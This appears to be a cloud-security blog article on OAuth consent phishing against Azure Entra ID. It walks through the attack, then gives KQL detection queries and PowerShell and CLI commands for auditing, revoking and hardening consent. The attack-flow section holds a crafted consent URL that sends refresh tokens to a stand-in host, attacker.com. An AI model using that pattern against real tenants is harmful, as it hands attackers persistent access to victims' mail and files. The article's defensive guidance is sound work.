Cloud Security Wire
AWS Azure GCP RSS
Misconfiguration

Azure Entra ID OAuth App Consent Phishing: How Attackers Bypass MFA and What to Stop Them

OAuth app consent phishing abuses Microsoft's delegated permission model to grant attacker-controlled applications persistent access to Microsoft 365 data — without ever stealing a password or needing to bypass MFA. One click from a victim grants read access to email, files, and Teams. Here's how it works, how to detect it, and how to lock it down.

By Editorial Team · ·
#Azure#Entra ID#OAuth#app consent#phishing#Microsoft 365#delegated permissions#conditional access#tenant security#T1550

OAuth app consent phishing is one of the most effective cloud-native attacks because it completely sidesteps the credential-theft model that most security controls are built to prevent. There is no password stolen, no MFA prompt to bypass, no malicious sign-in to detect. Instead, the attacker convinces a user to click “Accept” on a Microsoft OAuth consent screen for an application that the attacker controls — and from that moment, the application has delegated access to the user’s Microsoft 365 data that persists until explicitly revoked.

This technique has been used by EXOTIC LILY, Star Blizzard (FSB), and numerous commodity phishing operators. Microsoft’s own Threat Intelligence team documented campaigns targeting finance, legal, and government organisations in 2024 and 2025. The consent that survives a password reset or MFA policy change.

How the Attack Works

Azure Entra ID (formerly Azure Active Directory) allows third-party applications to request delegated permissions on behalf of a user. The permissions are defined as OAuth scopes — Mail.Read, Files.ReadWrite.All, Calendars.Read, User.Read, and so on. When a user consents, they’re granting the application the right to act with those permissions on their behalf.

Attack flow:

  1. Attacker registers an application in their own Entra ID tenant (or a compromised tenant). The app can be named anything — “OneDrive Sync Tool”, “Microsoft Teams Helper”, “IT Security Scanner”.

  2. The attacker crafts a URL pointing to Microsoft’s legitimate OAuth consent endpoint:

https://login.microsoftonline.com/common/oauth2/v2.0/authorize
    ?client_id=<attacker-app-id>
    &response_type=code
    &redirect_uri=https://attacker.com/callback
    &scope=Mail.Read+Files.ReadWrite.All+offline_access
  1. The phishing email or message directs the victim to this URL. Because it’s a real login.microsoftonline.com URL, it passes URL reputation checks and users trust it. The victim may already be signed in, meaning they see only the consent prompt — no password entry required.

  2. The victim clicks “Accept.” Their refresh token is delivered to attacker.com/callback. The application now has persistent access to their mailbox and OneDrive until the consent is revoked.

  3. The attacker uses Microsoft Graph API to read emails, download files, forward messages, and — if Mail.Send was included in the scope — send phishing emails from the victim’s account.

Common Permission Scopes in These Attacks

ScopeWhat it enables
Mail.ReadRead all email
Mail.SendSend email as the user
Files.ReadWrite.AllRead and write all SharePoint/OneDrive files
Calendars.ReadRead calendar — useful for spear-phishing with meeting context
offline_accessRefresh token — persistent access without re-authentication
User.ReadBasic.AllEnumerate all users in the tenant
Chat.ReadWriteRead and write Teams messages

Attackers typically request the minimum scope needed to achieve their goal while minimising the risk of the consent prompt looking alarming. Mail.Read offline_access is enough for sustained mailbox access.

Every user consent generates an audit log event. In the Entra ID portal under Monitoring > Audit Logs, filter on:

  • Category: ApplicationManagement
  • Activity: Consent to application

In the Azure CLI:

az monitor activity-log list \
  --offset 72h \
  --query "[?operationName.value=='Microsoft.Authorization/roleAssignments/write' || contains(properties.eventName.value, 'Consent')]" \
  --output table

Better: use Microsoft Sentinel for continuous monitoring.

KQL query for suspicious application consent events:

AuditLogs
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].modifiedProperties[0].newValue)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentedScopes = tostring(TargetResources[0].modifiedProperties
    | where name == "ConsentContext.Scopes"
    | project newValue)
| where ConsentedScopes contains "Mail.Read" 
    or ConsentedScopes contains "Files.ReadWrite"
    or ConsentedScopes contains "Mail.Send"
| project TimeGenerated, ConsentedBy, AppName, AppId, ConsentedScopes
| order by TimeGenerated desc

KQL query to find applications that have been granted high-privilege scopes across your tenant:

AuditLogs
| where OperationName == "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Scopes = tostring(TargetResources[0].modifiedProperties
    | where name == "ConsentContext.Scopes"
    | project newValue)
| extend ConsentedBy = tostring(InitiatedBy.user.userPrincipalName)
| where Scopes has_any ("Mail.Send", "Files.ReadWrite.All", "Mail.ReadWrite", "User.ReadWrite.All")
| summarize Users=make_set(ConsentedBy), ConsentCount=count() by AppName, Scopes
| order by ConsentCount desc

Signs of Active Exploitation Post-Consent

After consent is granted, the attacker uses the application to access data via Microsoft Graph. These access patterns generate sign-in logs under the application’s identity:

SigninLogs
| where AppId == "<suspicious-app-id>"
| where ResourceDisplayName == "Microsoft Graph"
| project TimeGenerated, UserPrincipalName, AppDisplayName, Location, Status
| order by TimeGenerated desc

Graph API access from unusual IPs, outside business hours, or with unusually high read volumes across multiple users are indicators of post-consent exploitation.

Hardening: What to Implement

Restrict user consent to low-risk permissions only:

In Entra ID > Enterprise Applications > Consent and permissions:

User consent settings:
✓ "Allow user consent for apps from verified publishers, for selected permissions"
☐ "Allow user consent for all apps" (disable this)

This prevents users from consenting to apps from unverified publishers. An attacker whose registered application is not verified (which requires passing Microsoft’s verification process) will fail at the consent step.

Require admin approval for risky permission scopes:

Using PowerShell/Microsoft Graph API, configure permission grant policies to require admin consent for high-risk scopes:

# Require admin consent for all delegated permissions to Graph API
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"

# Review current admin consent workflow settings
Get-MgPolicyAuthorizationPolicy | Select-Object AllowEmailVerifiedUsersToJoinOrganization, DefaultUserRolePermissions

Via the portal: Entra ID > Enterprise Applications > Consent and permissions > Admin consent requests — enable “Users can request admin consent to apps they are unable to consent to.”

Audit and revoke existing suspicious application consents:

# List all service principals (applications) with OAuth grants
Connect-MgGraph -Scopes "Directory.Read.All"

Get-MgServicePrincipal -All | Where-Object {
    $_.Tags -notcontains "HideApp"
} | Select-Object DisplayName, AppId, AppOwnerOrganizationId | 
Sort-Object AppOwnerOrganizationId

# Find OAuth2 grants for high-privilege scopes
Get-MgOauth2PermissionGrant -All | Where-Object {
    $_.Scope -match "Mail.Send|Files.ReadWrite.All|Mail.ReadWrite"
} | Select-Object ClientId, PrincipalId, Scope, ConsentType

Revoke a specific application’s consent:

az ad app permission delete \
  --id <client-app-id> \
  --api 00000003-0000-0000-c000-000000000000  # Microsoft Graph

Implement Conditional Access for application access:

Create a Conditional Access policy that requires compliant devices or specific named locations for token exchange from unfamiliar application IDs. This doesn’t prevent initial consent but limits what an attacker can do with a harvested token from an unusual location.

Key Takeaway for Tenant Administrators

The default Microsoft 365 configuration allows any user to consent to any application requesting User.Read and certain low-risk permissions. Applications requesting higher permissions prompt for user consent too, which most users will grant without scrutiny if the OAuth screen looks official.

Changing the consent policy from “user decides” to “admin decides for high-risk scopes” eliminates the majority of the attack surface at the cost of some user friction for legitimate third-party tool onboarding. Given that an app consent attack survives credential rotation, this policy change has significantly better ROI than additional MFA controls for this specific threat.

← All Analysis Subscribe via RSS